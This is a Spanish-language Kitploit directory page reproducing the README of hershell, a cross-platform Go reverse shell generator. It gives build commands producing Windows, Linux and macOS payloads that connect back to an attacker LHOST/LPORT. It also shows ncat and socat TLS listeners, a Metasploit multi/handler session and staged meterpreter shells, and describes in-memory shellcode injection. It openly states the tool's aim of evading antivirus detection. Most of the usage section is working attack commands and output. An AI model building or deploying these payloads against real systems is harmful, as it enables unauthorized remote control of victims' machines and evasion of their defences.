Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
hershell — Generador de shell inversa multiplataforma | Kitploit
Herramientas/GitHubGitHub/lesnuages/hershell
Herramientas de Cifrado/DescifradoGeneración de PayloadsExplotaciónShellcodePost-ExplotaciónPruebas de PenetraciónComando y ControlRed TeamingDesarrollo de Payloads
GitHublesnuages/hershell

hershell

Generador de shell inversa multiplataforma

592984hace 6 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

Hershell

Shell reverso TCP simple escrito en Go.

Utiliza TLS para asegurar las comunicaciones y proporciona una función de fijación de huella digital de clave pública del certificado, evitando la interceptación del tráfico.

Los sistemas operativos compatibles son:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD y derivados

¿Por qué?

Aunque los payloads de meterpreter son excelentes, a veces son detectados por productos antivirus.

El objetivo de este proyecto es obtener un shell reverso simple que pueda funcionar en múltiples sistemas.

¿Cómo?

Dado que está escrito en Go, puedes compilar de forma cruzada el código fuente para la arquitectura deseada.

Primeros pasos y dependencias

Como este es un proyecto Go, deberás seguir la documentación oficial para configurar tu entorno Golang (con la variable de entorno $GOPATH).

Luego, simplemente ejecuta go get github.com/lesnuages/hershell para obtener el proyecto.

Construcción del payload

Para simplificar las cosas, puedes usar el Makefile proporcionado.

Puedes establecer las siguientes variables de entorno:

  • GOOS : el SO objetivo
  • GOARCH : la arquitectura objetivo
  • LHOST : la IP del atacante o nombre de dominio
  • LPORT : el puerto del listener

Para las variables GOOS y GOARCH, puedes obtener los valores permitidos aquí.

Sin embargo, algunos objetivos auxiliares están disponibles en el Makefile:

  • depends : genera el certificado del servidor (requerido para el shell reverso)
  • windows32 : construye un ejecutable de Windows de 32 bits (PE 32 bits)
  • windows64 : construye un ejecutable de Windows de 64 bits (PE 64 bits)
  • linux32 : construye un ejecutable de Linux de 32 bits (ELF 32 bits)
  • linux64 : construye un ejecutable de Linux de 64 bits (ELF 64 bits)
  • macos32 : construye un ejecutable de Mac OS de 32 bits (Mach-O)
  • macos64 : construye un ejecutable de Mac OS de 64 bits (Mach-O)

Para esos objetivos, solo necesitas establecer las variables de entorno LHOST y LPORT.

Usando el shell

Una vez ejecutado, se te proporcionará un shell remoto.

Este shell interactivo personalizado te permitirá ejecutar comandos del sistema a través de cmd.exe en Windows, o /bin/sh en máquinas UNIX.

Se admiten los siguientes comandos especiales:

  • run_shell : te proporciona un shell del sistema (permitiéndote, por ejemplo, cambiar de directorio)
  • inject <shellcode en base64> : inyecta un shellcode (codificado en base64) en la memoria del mismo proceso y lo ejecuta
  • meterpreter [tcp|http|https] IP:PUERTO : se conecta a un multi/handler para obtener un stage2 meterpreter reverso tcp, http o https de metasploit, y ejecuta el shellcode en memoria (solo Windows por el momento)
  • exit : sale de forma ordenada

Uso

En primer lugar, necesitarás generar un certificado válido:

root@kitploit:~
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Para Windows:

root@kitploit:~
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234

Para Linux:

root@kitploit:~
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234

Para Mac OS X

root@kitploit:~
$ make macos LHOST=192.168.0.12 LPORT=1234

Ejemplos

Uso básico

Se pueden usar varias herramientas para manejar las conexiones entrantes, como:

  • socat
  • ncat
  • openssl server module
  • metasploit multi handler (con un payload python/shell_reverse_tcp_ssl)

Aquí hay un ejemplo con ncat:

root@kitploit:~
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Aquí hay un ejemplo con socat (probado con la versión 1.7.3.2):

root@kitploit:~
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab

Staging de Meterpreter

ADVERTENCIA: esto actualmente solo funciona para la plataforma Windows.

El staging de meterpreter actualmente admite los siguientes payloads:

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

Para usar el correcto, solo especifica el transporte que deseas usar (tcp, http, https)

Para usar la función de staging de meterpreter, solo inicia tu handler:

root@kitploit:~
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

Luego, en hershell, usa el comando meterpreter:

root@kitploit:~
[hershell]> meterpreter https 172.16.122.105:8443

Una nueva sesión de meterpreter debería aparecer en msfconsole:

root@kitploit:~
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

Créditos

@khast3x por la funcionalidad del Dockerfile

Descargar herramienta